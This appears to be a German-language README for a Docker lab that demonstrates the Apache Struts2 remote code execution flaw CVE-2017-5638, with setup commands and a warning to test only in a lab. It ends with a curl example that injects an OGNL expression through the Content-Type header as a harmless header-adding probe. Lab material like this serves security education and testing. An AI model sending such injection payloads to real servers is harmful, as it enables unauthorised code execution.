
Ein praktisches Labor, das die Ausnutzung einer kritischen Remote Code Execution (RCE)-Sicherheitslücke in Apache Struts2 (CVE-2017-5638) unter Verwendung von Vulhub Docker-Umgebungen demonstriert. Enthält Einrichtungsanweisungen und Befehle zum Starten des anfälligen Containers.
Dieses Projekt demonstriert die Sicherheitslücke zur Remote Code Execution (RCE) in Apache Struts2 (CVE-2017-5638).
Angreifer können einen manipulierten HTTP Content-Type-Header ausnutzen, um auf verwundbaren Servern beliebige Systembefehle auszuführen.
Dieses Repository verwendet Vulhub Docker Labs, um eine sichere Umgebung zum Testen und Verstehen der Sicherheitslücke bereitzustellen.
1️⃣ Dieses Repository klonen
git clone https://github.com/soufiane-benchahyd/vulhub-struts2.git
cd vulhub-struts2/struts2/s2-045
2️⃣ Den angreifbaren Container starten
docker compose up -d
3️⃣ Überprüfen, ob der Container läuft
docker ps
Sie sollten etwa Folgendes sehen:
CONTAINER ID IMAGE COMMAND STATUS PORTS
xxxxxxx vulhub/struts2:2.3.30 "/usr/local/bin/mvn-…" Up 0.0.0.0:8080->8080/tcp
4️⃣ Die Weboberfläche testen
Öffnen Sie Ihren Browser → http://<VM_IP>:8080
Sie sollten die Startseite der Struts2-Anwendung sehen.
VM‑IP-Beispiel:
192.168.56.101
⚠️ Führen Sie die Ausnutzung nur in einer kontrollierten Laborumgebung durch. Greifen Sie niemals öffentliche Server an.
Sie können nun die RCE mit Skripten oder Tools wie curl oder Metasploit gegen den angreifbaren Container testen.
Beispiel (ersetzen Sie <command> durch Ihren Testbefehl):
curl -v -H "Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','test')}" http://<VM_IP>:8080/